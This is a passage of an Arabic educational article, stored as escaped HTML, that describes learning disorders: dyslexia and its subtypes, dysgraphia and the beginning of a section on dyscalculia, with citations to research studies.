<\/strong>\u0623\u0648 \u0639\u062b\u0631 \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0648\u0647\u064a \u0635\u0639\u0648\u0628\u0629 \u062a\u0639\u0644\u0645 \u0634\u0627\u0626\u0639\u0629 \u062a\u0624\u062b\u0631 \u0628\u0635\u0648\u0631\u0629 \u0645\u0628\u0627\u0634\u0631\u0629 \u0639\u0644\u0649 \u0642\u062f\u0631\u0629 \u0627\u0644\u0634\u062e\u0635 \u0639\u0644\u0649 \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0648\u0627\u0644\u062a\u0647\u062c\u064a\u060c \u0641\u0642\u062f \u0623\u0638\u0647\u0631\u062a \u0646\u062a\u0627\u0626\u062c \u0628\u0639\u0636 \u0627\u0644\u062f\u0631\u0627\u0633\u0627\u062a \u0648\u062c\u0648\u062f \u062e\u0644\u0644 \u0648\u0638\u064a\u0641\u064a \u0641\u064a \u0627\u0644\u062f\u0645\u0627\u063a \u062e\u0627\u0635\u0629 \u0641\u064a \u0645\u0646\u0637\u0642\u0629 \u0627\u0644\u0645\u0639\u0627\u0644\u062c\u0629 \u0627\u0644\u0633\u0645\u0639\u064a\u0629 \u0627\u0644\u0644\u063a\u0648\u064a\u0629<strong> auditory-linguistic processing <\/strong>\u00a0\u0628\u0645\u0627 \u062a\u062a\u0636\u0645\u0646\u0647 \u0645\u0646 \u0627\u0644\u0645\u0639\u0627\u0644\u062c\u0629 \u0627\u0644\u0635\u0648\u062a\u064a\u0629<strong> phonological processing <\/strong>\u0648\u0627\u0644\u062a\u0633\u0645\u064a\u0629 \u0627\u0644\u0622\u0644\u064a\u0629 \u0627\u0644\u0633\u0631\u064a\u0639\u0629<strong> automatized naming<\/strong>\u060c \u0625\u0630 \u062a\u0645 \u0627\u0644\u0643\u0634\u0641 \u0639\u0646 \u0648\u062c\u0648\u062f \u0645\u062b\u0644 \u0647\u0630\u0627 \u0627\u0644\u062e\u0644\u0644 \u0627\u0644\u0648\u0638\u064a\u0641\u064a \u0644\u062f\u0649 \u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0623\u0634\u062e\u0627\u0635 \u0627\u0644\u0645\u0635\u0627\u0628\u064a\u0646 \u0628\u0639\u0633\u0631 \u0627\u0644\u0642\u0631\u0627\u0621\u0629 <strong>(Shaywitz, etal., 2002; Wolf, Bowers &amp; Biddle, 2000) <\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">\u0648\u0641\u064a \u0646\u0641\u0633 \u0627\u0644\u0633\u064a\u0627\u0642 \u062e\u0644\u0635\u062a \u0646\u062a\u0627\u0626\u062c \u062f\u0631\u0627\u0633\u0627\u062a<strong> (Kirby, Parrila, &amp; Pfeiffer, 2003) <\/strong>\u0625\u0644\u0649 \u0623\u0646 \u0627\u0644\u0645\u0639\u0627\u0644\u062c\u0629 \u0627\u0644\u0635\u0648\u062a\u064a\u0629 \u0648\u0627\u0644\u062a\u0633\u0645\u064a\u0629 \u0627\u0644\u0622\u0644\u064a\u0629 \u0627\u0644\u0633\u0631\u064a\u0639\u0629 \u0639\u0645\u0644\u064a\u0627\u062a \u0645\u062d\u0648\u0631\u064a\u0629 \u0641\u064a \u0627\u0644\u062a\u0646\u0628\u0624 \u0628\u0645\u0647\u0627\u0631\u0627\u062a \u0627\u0644\u0642\u0631\u0627\u0621\u0629<strong>. <\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">\u0643\u0645\u0627 \u0643\u0634\u0641\u062a \u0646\u062a\u0627\u0626\u062c \u062f\u0631\u0627\u0633\u0629<strong> (Eden et al., 1996) <\/strong>\u0625\u0644\u0649 \u0623\u0646 \u0628\u0639\u0636 \u0627\u0644\u0623\u0634\u062e\u0627\u0635 \u0630\u0648\u064a \u0639\u0633\u0631 \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0644\u062f\u064a\u0647\u0645 \u0641\u0631\u0648\u0642\u064b\u0627 \u0648\u0627\u0636\u062d\u0629 \u0641\u064a \u0627\u0644\u0646\u0638\u0645 \u0627\u0644\u0628\u0635\u0631\u064a\u0629 \u0641\u064a \u0623\u062f\u0645\u063a\u062a\u0647\u0645 \u0639\u0646 \u0627\u0644\u0639\u0627\u062f\u064a\u064a\u0646\u060c \u0648\u0642\u062f \u064a\u0645\u062a\u062f \u0627\u0644\u062a\u0623\u062b\u064a\u0631 \u0627\u0644\u0633\u0644\u0628\u064a \u0644\u0644\u0642\u0635\u0648\u0631 \u0627\u0644\u0628\u0635\u0631\u064a \u0640 \u0627\u0644\u0645\u0643\u0627\u0646\u064a<strong> visual-spatial deficits <\/strong>\u0641\u064a \u0627\u0644\u062a\u0639\u0644\u0645 \u0625\u0644\u0649 \u0645\u0647\u0627\u0631\u0627\u062a \u0623\u062e\u0631\u0649<strong>.<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">\u0648\u0639\u0644\u0649 \u0630\u0644\u0643 \u0641\u0625\u0646 \u0639\u0633\u0631 \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0623\u0648 \u0627\u0644\u062f\u064a\u0633\u0644\u0643\u0633\u064a\u0627 \u0645\u0635\u0637\u0644\u062d \u064a\u0634\u064a\u0631 \u0625\u0644\u0649 \u0645\u0639\u0627\u0646\u0627\u0629 \u0627\u0644\u0645\u062a\u0639\u0644\u0645 \u0645\u0646 \u0635\u0639\u0648\u0628\u0629 \u0641\u064a \u0627\u0643\u062a\u0633\u0627\u0628 \u0648\u0645\u0639\u0627\u0644\u062c\u0629 \u0627\u0644\u0644\u063a\u0629 \u0628\u0645\u0627 \u064a\u0639\u0628\u0631 \u0639\u0646\u0647 \u0628\u0645\u0624\u0634\u0631\u0627\u062a \u062a\u0634\u064a \u0628\u0646\u0642\u0635 \u0648\u0642\u0635\u0648\u0631 \u062c\u0648\u0647\u0631\u064a \u0641\u064a \u0627\u0644\u0643\u0641\u0627\u0621\u0629 \u0641\u064a: \u0627\u0644\u0642\u0631\u0627\u0621\u0629\u060c \u0627\u0644\u062a\u0647\u062c\u064a\u060c \u0648\u0627\u0644\u0643\u062a\u0627\u0628\u0629\u060c \u0648\u064a\u0648\u0627\u062c\u0647 \u0630\u0648\u0648 \u0627\u0644\u0639\u0633\u0631 \u0627\u0644\u0642\u0631\u0627\u0626\u064a \u0645\u062a\u0627\u0639\u0628 \u0648\u0635\u0639\u0648\u0628\u0627\u062a \u0641\u064a \u0631\u0628\u0637 \u0627\u0644\u062d\u0631\u0648\u0641 \u0627\u0644\u062a\u064a \u064a\u0631\u0648\u0646\u0647\u0627 \u0641\u064a \u0627\u0644\u0635\u0641\u062d\u0629 \u0627\u0644\u062a\u064a \u064a\u0642\u0631\u0623\u0648\u0646 \u0645\u0646\u0647\u0627 \u0628\u0627\u0644\u0623\u0635\u0648\u0627\u062a \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0647\u0630\u0647 \u0627\u0644\u062d\u0631\u0648\u0641\u060c \u0648\u064a\u0646\u062c\u0645 \u0639\u0646 \u0630\u0644\u0643 \u0628\u0637\u0621 \u0623\u0648 \u062a\u0639\u0628 \u0634\u062f\u064a\u062f \u0641\u064a \u0637\u0644\u0627\u0642\u0629 \u0645\u0639\u0627\u0644\u062c\u0629 \u0647\u0630\u0647 \u0627\u0644\u062d\u0631\u0648\u0641 \u0648\u062a\u0644\u0643 \u0627\u0644\u0623\u0635\u0648\u0627\u062a. \u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">\u0648\u0642\u062f \u062a\u0628\u062f\u0623 \u0645\u0634\u0643\u0644\u0627\u062a \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0642\u0628\u0644 \u062a\u0639\u0644\u0645 \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0630\u0627\u062a\u0647\u0627\u060c \u0639\u0644\u0649 \u0633\u0628\u064a\u0644 \u0627\u0644\u0645\u062b\u0627\u0644 \u0631\u0628\u0645\u0627 \u064a\u0639\u0627\u0646\u064a \u0627\u0644\u0623\u0637\u0641\u0627\u0644 \u0645\u0646 \u0645\u062a\u0627\u0639\u0628 \u0648\u0635\u0639\u0648\u0628\u0627\u062a \u0641\u064a \u062a\u062c\u0632\u0626\u0629 \u0623\u0648 \u062a\u0642\u0633\u064a\u0645 \u0627\u0644\u0643\u0644\u0645\u0627\u062a \u0627\u0644\u0645\u0646\u0637\u0648\u0642\u0629 \u0625\u0644\u0649 \u0645\u0642\u0627\u0637\u0639 \u0635\u0648\u062a\u064a\u0629\u060c \u0641\u0636\u0644\u0627\u064b \u0639\u0646 \u0645\u062a\u0627\u0639\u0628 \u0648\u0635\u0639\u0648\u0628\u0627\u062a \u0641\u064a \u0625\u062f\u0631\u0627\u0643 \u0627\u0644\u0625\u064a\u0642\u0627\u0639 \u0627\u0644\u0635\u0648\u062a\u064a \u0644\u0644\u0643\u0644\u0645\u0627\u062a. \u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">\u0648\u0642\u062f \u064a\u0639\u0627\u0646\u064a \u0623\u0637\u0641\u0627\u0644 \u0645\u0631\u062d\u0644\u0629 \u0645\u0627 \u0642\u0628\u0644 \u0627\u0644\u0645\u062f\u0631\u0633\u0629 \u0623\u064a \u0623\u0637\u0641\u0627\u0644 \u0645\u0631\u062d\u0644\u0629 \u0631\u064a\u0627\u0636 \u0627\u0644\u0623\u0637\u0641\u0627\u0644 \u0645\u0646 \u0635\u0639\u0648\u0628\u0627\u062a \u0641\u064a \u0625\u062f\u0631\u0627\u0643 \u0648\u0643\u062a\u0627\u0628\u0629 \u0627\u0644\u062d\u0631\u0648\u0641 \u0645\u0642\u0627\u0631\u0646\u0629 \u0628\u0623\u0642\u0631\u0627\u0646\u0647\u0645 \u0627\u0644\u0639\u0627\u062f\u064a\u064a\u0646\u060c \u0641\u0636\u0644\u0627\u064b \u0639\u0646 \u0627\u0644\u0646\u0642\u0635 \u0648\u0627\u0644\u0642\u0635\u0648\u0631 \u0627\u0644\u062c\u0648\u0647\u0631\u064a \u0641\u064a \u062f\u0642\u0629 \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0648\u062a\u0647\u062c\u064a\u0629 \u062d\u0631\u0648\u0641 \u0627\u0644\u0643\u0644\u0645\u0627\u062a. \u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">\u0648\u064a\u062c\u062f\u0631 \u0627\u0644\u0625\u0634\u0627\u0631\u0629 \u0625\u0644\u0649 \u0623\u0646 \u0630\u0648\u064a \u0627\u0636\u0637\u0631\u0627\u0628 \u0639\u0633\u0631 \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0628\u0645\u0627 \u0641\u064a\u0647\u0645 \u0627\u0644\u0645\u0631\u0627\u0647\u0642\u0648\u0646 \u0648\u0627\u0644\u0631\u0627\u0634\u062f\u0648\u0646 \u064a\u062d\u0627\u0648\u0644\u0648\u0646 \u062a\u062c\u0646\u0628 \u0627\u0644\u0623\u0646\u0634\u0637\u0629 \u0627\u0644\u062a\u064a \u062a\u062a\u0637\u0644\u0628 \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0628\u0635\u0641\u0629 \u0639\u0627\u0645\u0629 \u0648\u0644\u0627 \u064a\u0645\u064a\u0644\u0648\u0646 \u0625\u0644\u0649 \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0644\u0627 \u0645\u0646 \u0623\u062c\u0644 \u0627\u0644\u062a\u0639\u0644\u0645 \u0648\u0644\u0627 \u0645\u0646 \u0623\u062c\u0644 \u0627\u0644\u0627\u0633\u062a\u0645\u062a\u0627\u0639\u060c \u0648\u062a\u0631\u0627\u0647\u0645 \u0641\u064a \u062d\u0627\u0644\u0629 \u0645\u0646 \u0627\u0644\u0627\u0646\u062c\u0630\u0627\u0628 \u0644\u0644\u0645\u0648\u0627\u062f \u0627\u0644\u062a\u0639\u0644\u064a\u0645\u064a\u0629 \u0627\u0644\u0623\u062e\u0631\u0649 \u0645\u062b\u0644 \u0627\u0644\u0635\u0648\u0631\u060c \u0627\u0644\u0641\u064a\u062f\u064a\u0648\u0647\u0627\u062a\u060c \u0648\u0627\u0644\u0645\u0648\u0627\u062f \u0627\u0644\u062a\u0639\u0644\u064a\u0645\u064a\u0629 \u0627\u0644\u0633\u0645\u0639\u064a\u0629. \u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><strong>\u0648\u064a\u0648\u062c\u062f<\/strong> \u0623\u0646\u0645\u0627\u0637 \u0641\u0631\u0639\u064a\u0629 \u0644\u0639\u0633\u0631 \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0645\u0646\u0647\u0627 \u0639\u0644\u0649 \u0633\u0628\u064a\u0644 \u0627\u0644\u0645\u062b\u0627\u0644 \u0639\u0633\u0631 \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0627\u0644\u062f\u0644\u0627\u0644\u064a<strong> Semantic Dyslexia <\/strong>\u00a0\u0648\u064a\u0639\u0628\u0631 \u0639\u0646\u0647\u00a0 \u0648\u0641\u0642\u064b\u0627 \u0644\u0645\u0624\u0634\u0631\u0627\u062a \u0639\u062c\u0632 \u0627\u0644\u0645\u062a\u0639\u0644\u0645 \u0639\u0646 \u00a0\u0631\u0628\u0637 \u0627\u0644\u0643\u0644\u0645\u0627\u062a \u0628\u0645\u0639\u0627\u0646\u064a\u0647\u0627 \u0623\u062b\u0646\u0627\u0621 \u0627\u0644\u0642\u0631\u0627\u0621\u0629\u060c \u0628\u0645\u0639\u0646\u0649 \u0623\u0646\u0647 \u0642\u062f \u064a\u062c\u064a\u062f \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0644\u0643\u0646 \u064a\u062a\u0639\u0630\u0631 \u0639\u0644\u064a\u0647 \u0641\u0647\u0645 \u062f\u0644\u0627\u0644\u0629 \u0627\u0644\u0645\u0627\u062f\u0629 \u0627\u0644\u0645\u0642\u0631\u0648\u0621\u0629 \u0648\u0642\u062f \u064a\u0633\u0626 \u0641\u0647\u0645\u0627 \u0648\u0645\u0646 \u062b\u0645 \u064a\u0635\u062f\u0631 \u0639\u0646\u0647 \u0627\u0633\u062a\u062c\u0627\u0628\u0627\u062a \u062a\u0639\u0644\u0645\u064a\u0629 \u0645\u062e\u062a\u0644\u0629\u060c \u0648\u0645\u0646\u0647\u0627 \u0623\u064a\u0636\u064b\u0627 \u0646\u0645\u0637 \u0641\u0631\u0639\u064a \u0622\u062e\u0631 \u064a\u0639\u0631\u0641 \u0628\u0627\u0633\u0645&#8221; \u0639\u0645\u064a \u0627\u0644\u0645\u0641\u0631\u062f\u0627\u062a \/ \u0639\u0645\u0649 \u0627\u0644\u0645\u0643\u062a\u0648\u0628\u0627\u062a<strong> Alexia <\/strong>&#8221; \u0648\u0647\u0648 \u0645\u0635\u0637\u0644\u062d \u064a\u0633\u062a\u062e\u062f\u0645 \u0644\u0644\u0625\u0634\u0627\u0631\u0629 \u0625\u0644\u0649 \u0634\u0643\u0644 \u0645\u0643\u062a\u0633\u0628 \u0645\u0646 \u0639\u0633\u0631 \u0627\u0644\u0642\u0631\u0627\u0621\u0629<strong> dyslexia <\/strong>\u064a\u0639\u0627\u0646\u064a \u0628\u0645\u0648\u062c\u0628\u0647 \u0627\u0644\u0634\u062e\u0635 \u0645\u0646 \u0645\u0634\u0643\u0644\u0629 \u0641\u0642\u062f\u0627\u0646 \u0627\u0644\u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u0627\u0644\u0642\u0631\u0627\u0621\u0629\u060c \u0646\u062a\u064a\u062c\u0629 \u0627\u0636\u0637\u0631\u0627\u0628 \u0641\u064a \u0627\u0644\u0645\u062e \u062a\u062a\u0636\u062d \u0645\u0624\u0634\u0631\u0627\u062a\u0647 \u0641\u064a \u0639\u062f\u0645 \u0642\u062f\u0631\u0629 \u0627\u0644\u0641\u0631\u062f \u0639\u0644\u0649 \u0631\u0628\u0637 \u0627\u0644\u0645\u0639\u0646\u0649 \u0628\u0627\u0644\u0643\u0644\u0645\u0627\u062a \u0627\u0644\u0645\u0637\u0628\u0648\u0639\u0629 \u0623\u0648 \u0627\u0644\u0645\u0643\u062a\u0648\u0628\u0629 (\u0639\u0627\u062f\u0644 \u0639\u0632 \u0627\u0644\u062f\u064a\u0646 \u0627\u0644\u0623\u0634\u0648\u0644\u060c 1987: 59). <strong>\u00a0<\/strong><\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"font-size: 10pt; color: #000000;\"><strong>\u0639\u0633\u0631 \u0627\u0644\u0643\u062a\u0627\u0628 (\u0639\u062b\u0631 \u0627\u0644\u0643\u062a\u0627\u0628\u0629)<\/strong> <strong>Dysgraphia<\/strong>:<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><strong>\u064a\u0633\u062a\u062e\u062f\u0645<\/strong> \u0645\u0635\u0637\u0644\u062d &#8220;\u0639\u0633\u0631 \u0627\u0644\u0643\u062a\u0627\u0628\u0629&#8221; <strong>Dysgraphia<\/strong> \u0644\u0648\u0635\u0641 \u0627\u0644\u0645\u062a\u0627\u0639\u0628 \u0648\u0627\u0644\u0635\u0639\u0648\u0628\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u0648\u062c\u0647\u0647\u0627 \u0627\u0644\u0645\u062a\u0639\u0644\u0645 \u0641\u064a \u0648\u0636\u0639 \u0623\u0641\u0643\u0627\u0631\u0647 \u0639\u0644\u0649 \u0648\u0631\u0642 \u0623\u064a \u0641\u064a \u0627\u0644\u062a\u0639\u0628\u064a\u0631 \u0627\u0644\u0643\u062a\u0627\u0628\u064a \u0639\u0646 \u0645\u0627 \u064a\u062c\u0648\u0644 \u0641\u064a \u0639\u0642\u0644\u0647 \u0645\u0646 \u0623\u0641\u0643\u0627\u0631 \u0648\u0631\u0624\u0649 \u0623\u0648 \u0641\u064a \u0627\u0644\u0625\u062c\u0627\u0628\u0629 \u0639\u0646 \u0627\u0644\u0623\u0633\u0626\u0644\u0629 \u0643\u062a\u0627\u0628\u0629.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><strong>\u0648\u062a\u062a\u0636\u0645\u0646<\/strong> \u0645\u0634\u0643\u0644\u0627\u062a \u0627\u0644\u0643\u062a\u0627\u0628\u0629 \u0635\u0639\u0648\u0628\u0629 \u0641\u064a \u0627\u0644\u062a\u0647\u062c\u0626\u0629\u060c \u0648\u0627\u0644\u0642\u0648\u0627\u0639\u062f\u060c \u0648\u0627\u0644\u062a\u0631\u0642\u064a\u0645\u060c \u0648\u0627\u0644\u062e\u0637 \u0648\u0627\u0644\u062a\u0646\u0638\u064a\u0645 \u0648\u0627\u0644\u062a\u0646\u0633\u064a\u0642\u060c \u0648\u0643\u0627\u0646 \u064a\u0633\u062a\u062e\u062f\u0645 \u0645\u0635\u0637\u0644\u062d \u0639\u0633\u0631 \u0627\u0644\u0643\u062a\u0627\u0628\u0629 \u0642\u062f\u064a\u0645\u0629 \u0623\u0648 \u0635\u0639\u0648\u0628\u0629 \u0627\u0644\u0643\u062a\u0627\u0628\u0629 \u0644\u0644\u0625\u0634\u0627\u0631\u0629 \u0625\u0644\u0649 \u0635\u0639\u0648\u0628\u0627\u062a \u0627\u0644\u062a\u0622\u0632\u0631 \u0627\u0644\u062d\u0631\u0643\u064a \u00a0<strong>motor coordination difficulties<\/strong> \u0648\u062a\u0623\u062b\u064a\u0631\u0627\u062a\u0647 \u0639\u0644\u0649 \u0627\u0644\u0643\u062a\u0627\u0628\u0629\u060c \u0641\u0636\u0644\u0627\u064b \u0639\u0646 \u0645\u0627 \u064a\u062a\u0631\u062a\u0628 \u0639\u0644\u0649 \u0630\u0644\u0643 \u0645\u0646 \u0635\u0639\u0648\u0628\u0629 \u0641\u064a \u0627\u0644\u062a\u0639\u0628\u064a\u0631 \u0639\u0646 \u0627\u0644\u0623\u0641\u0643\u0627\u0631 \u0628\u0627\u0644\u0644\u063a\u0629 \u0627\u0644\u0645\u0643\u062a\u0648\u0628\u0629 \u0646\u062a\u064a\u062c\u0629 \u0636\u0639\u0641 \u0627\u0644\u062f\u0631\u0627\u0633\u0629 \u0628\u0645\u062a\u0637\u0644\u0628\u0627\u062a \u0627\u0644\u0643\u062a\u0627\u0628\u0629 \u0645\u062b\u0644: \u0627\u0644\u062a\u0647\u062c\u0626\u0629 \u0648\u0627\u0644\u0642\u0648\u0627\u0639\u062f \u0648\u0627\u0644\u062a\u0631\u0642\u064a\u0645 \u0648\u0627\u0644\u062a\u0646\u0638\u064a\u0645 \u0648\u0627\u0644\u062a\u0646\u0633\u064a\u0642.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">\u0648\u0644\u062a\u062c\u0646\u0628 \u0623\u064a \u063a\u0645\u0648\u0636 \u0628\u064a\u0646 \u0639\u0633\u0631 \u0627\u0644\u0643\u062a\u0627\u0628\u0629 <strong>Dysgraphia<\/strong> \u0648\u0635\u0639\u0648\u0628\u0627\u062a \u0627\u0644\u062a\u0622\u0630\u0631 \u0627\u0644\u062d\u0631\u0643\u064a <strong>motor coordination difficulties<\/strong> \u0648\u0636\u0639 \u062a\u0645\u064a\u064a\u0632\u064b\u0627 \u062d\u062f\u064a\u062b\u064b\u0627 \u0641\u064a \u0625\u0637\u0627\u0631 \u0645\u0635\u0637\u0644\u062d &#8220;\u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0648\u0639\u064a \u0623\u0648 \u0627\u0644\u0645\u062d\u062f\u062f \u0641\u064a \u0627\u0644\u062a\u0639\u0628\u064a\u0631 \u0627\u0644\u0643\u062a\u0627\u0628\u064a&#8221; \u0628\u062f\u0644\u0627\u0644\u0629 \u0645\u0635\u0637\u0644\u062d\u00a0 <strong>Dysgraphia<\/strong> \u0644\u0644\u0625\u0634\u0627\u0631\u0629 \u0625\u0644\u0649:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"font-size: 10pt;\">\u0627\u0644\u0635\u0639\u0648\u0628\u0627\u062a \u0627\u0644\u0642\u0627\u0626\u0645\u0629 \u0639\u0644\u0649 \u0627\u0644\u0644\u063a\u0629 <strong>language-based difficulties<\/strong> \u0648\u0627\u0644\u062a\u064a \u062a\u062a\u0636\u0645\u0646 \u0627\u0644\u0639\u062c\u0632 \u0639\u0646 \u062a\u0643\u0648\u064a\u0646 \u0648\u0635\u064a\u0627\u063a\u0629 \u0628\u0646\u0627\u0621 \u0627\u0644\u062a\u0639\u0628\u064a\u0631\u0627\u062a \u0627\u0644\u0643\u062a\u0627\u0628\u064a\u0629 \u0630\u0627\u062a \u0627\u0644\u0645\u0639\u0646\u0649.<\/span><\/li>\n<li><span style=\"font-size: 10pt;\">\u0636\u0639\u0641 \u0645\u0633\u062a\u0645\u0631 \u0641\u064a \u0627\u0644\u062a\u0647\u062c\u0626\u0629 \u0648\u0627\u0644\u062a\u0631\u0642\u064a\u0645 \u0648\u0627\u0644\u062a\u0646\u0633\u064a\u0642 \u0648\u0627\u0644\u062a\u0646\u0638\u064a\u0645 \u0627\u0644\u0643\u062a\u0627\u0628\u064a \u0628\u0645\u0627 \u064a\u0624\u062b\u0631 \u0628\u0635\u0648\u0631\u0629 \u062f\u0627\u0644\u0629 \u0639\u0644\u0649 \u0642\u062f\u0631\u0629 \u0627\u0644\u0645\u062a\u0639\u0644\u0645 \u0641\u064a \u0627\u0644\u062a\u0639\u0628\u064a\u0631 \u0639\u0646 \u0623\u0641\u0643\u0627\u0631\u0647 \u0643\u062a\u0627\u0628\u0629 \u0628\u0648\u0636\u0648\u062d.<\/span><\/li>\n<li><span style=\"font-size: 10pt;\">\u0627\u0644\u0645\u062a\u0627\u0639\u0628 \u0648\u0627\u0644\u0635\u0639\u0648\u0628\u0627\u062a \u0641\u064a \u0627\u0644\u0643\u062a\u0627\u0628\u0629 \u0627\u0644\u064a\u062f\u0648\u064a\u0629 \u0623\u0648 &#8220;\u0627\u0644\u062e\u0637 \u0627\u0644\u064a\u062f\u0648\u064a&#8221; \u0627\u0644\u062a\u064a \u062a\u0631\u062a\u0628\u0637 \u0628\u0627\u0644\u0625\u0639\u0627\u0642\u0629 \u0641\u064a \u0627\u0644\u062a\u0622\u0632\u0631 \u0627\u0644\u062d\u0631\u0643\u064a \u064a\u0646\u0638\u0631 \u0625\u0644\u064a\u0647\u0627 \u0627\u0644\u0622\u0646 \u0639\u0644\u0649 \u0623\u0646\u0647\u0627 \u062c\u0632\u0621 \u0645\u0646 &#8220;\u0627\u0636\u0637\u0631\u0627\u0628 \u0646\u0645\u0648 \u0627\u0644\u062a\u0622\u0632\u0631 \u0627\u0644\u062d\u0631\u0643\u064a <strong>Developmental Coordination Disorder<\/strong>&#8221; \u0648\u0644\u064a\u0633 \u0639\u0633\u0631 \u0627\u0644\u0643\u062a\u0627\u0628\u0629.<\/span><\/li>\n<li><span style=\"font-size: 10pt;\"><strong>\u0639\u0633\u0631 (\u0639\u062b\u0631) \u0627\u0644\u062d\u0633\u0627\u0628<\/strong> <strong>Dyscalculia<\/strong><strong>: <\/strong><\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><strong>\u0639\u0631\u0641<\/strong> \u0637\u0647 \u0633\u0627\u0645\u062d \u0639\u0644\u0649 (2021) \u0639\u0633\u0631 \u0627\u0644\u062d\u0633\u0627\u0628 <strong>Dyscalculia<\/strong> \u0628\u0623\u0646\u0647 \u0645\u0635\u0637\u0644\u062d \u0628\u062f\u064a\u0644 \u064a\u0633\u062a\u062e\u062f\u0645 \u0644\u0644\u0625\u0634\u0627\u0631\u0629 \u0625\u0644\u0649 \u0648\u062c\u0648\u062f \u0646\u0645\u0637 \u0645\u0646 \u0627\u0644\u0635\u0639\u0648\u0628\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u062a\u0645\u064a\u0632 \u0628\u0645\u0634\u0627\u0643\u0644 \u0641\u064a \u0645\u0639\u0627\u0644\u062c\u0629 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0627\u0644\u0631\u0642\u0645\u064a\u0629 \u060c \u0648\u062a\u0639\u0644\u0645 \u0627\u0644\u062d\u0642\u0627\u0626\u0642 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u060c \u0648\u062a\u0646\u0641\u064a\u0630 \u0639\u0645\u0644\u064a\u0627\u062a \u062d\u0633\u0627\u0628\u064a\u0629 \u062f\u0642\u064a\u0642\u0629 \u0623\u0648 \u0633\u0644\u0633\u0629 \u060c \u0648\u0625\u0630\u0627 \u062a\u0645 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0647\u0630\u0627 \u0627\u0644\u062e\u0644\u0644 \u0644\u062a\u062d\u062f\u064a\u062f \u0646\u0645\u0637 \u0645\u0639\u064a\u0646 \u0645\u0646 \u0627\u0644\u0635\u0639\u0648\u0628\u0627\u062a \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0641\u0645\u0646 \u0627\u0644\u0645\u0647\u0645 \u0623\u064a\u0636\u0627 \u060c \u062a\u062d\u062f\u064a\u062f \u0623\u064a \u0635\u0639\u0648\u0628\u0627\u062a \u0625\u0636\u0627\u0641\u064a\u0629 \u0642\u062f \u064b \u062a\u0643\u0648\u0646 \u0645\u0648\u062c\u0648\u062f\u0629 \u060c \u0645\u062b\u0644 \u0635\u0639\u0648\u0628\u0627\u062a \u0645\u0639 \u0627\u0644\u0645\u0646\u0637\u0642 \u0627\u0644\u0631\u064a\u0627\u0636\u064a \u0623\u0648 \u062f\u0642\u0629 \u0645\u0646\u0637\u0642 \u0627\u0644\u0643\u0644\u0627\u0645<strong>.<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><strong>\u0648\u0639\u0644\u0649<\/strong> \u0630\u0644\u0643 \u0641\u0639\u0633\u0631 \u0627\u0644\u062d\u0633\u0627\u0628 \u0645\u0635\u0637\u0644\u062d \u064a\u0633\u062a\u062e\u062f\u0645 \u0644\u0648\u0635\u0641 \u0627\u0644\u0645\u062a\u0627\u0639\u0628 \u0648\u0627\u0644\u0635\u0639\u0648\u0628\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u0648\u0627\u062c\u0647 \u0627\u0644\u0645\u062a\u0639\u0644\u0645 \u0641\u064a \u062a\u0639\u0644\u0645 \u0627\u0644\u0623\u0631\u0642\u0627\u0645 \u0648\u0627\u0644\u0645\u0641\u0627\u0647\u064a\u0645 \u0627\u0644\u062d\u0633\u0627\u0628\u064a\u0629 \u0623\u0648 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0631\u0645\u0648\u0632 \u0648\u0627\u0644\u0648\u0638\u0627\u0626\u0641 \u0648\u0627\u0644\u0645\u0639\u0627\u062f\u0644\u0627\u062a \u0644\u0623\u062f\u0627\u0621 \u0627\u0644\u062d\u0633\u0627\u0628\u0627\u062a \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0623\u0648 \u062d\u0644 \u0627\u0644\u0645\u0633\u0627\u0626\u0644 \u0627\u0644\u062d\u0633\u0627\u0628\u064a\u0629\u060c \u0648\u062a\u062a\u0636\u0645\u0646 \u0645\u0634\u0643\u0644\u0627\u062a \u0627\u0644\u062d\u0633\u0627\u0628 \u0635\u0639\u0648\u0628\u0627\u062a \u0627\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 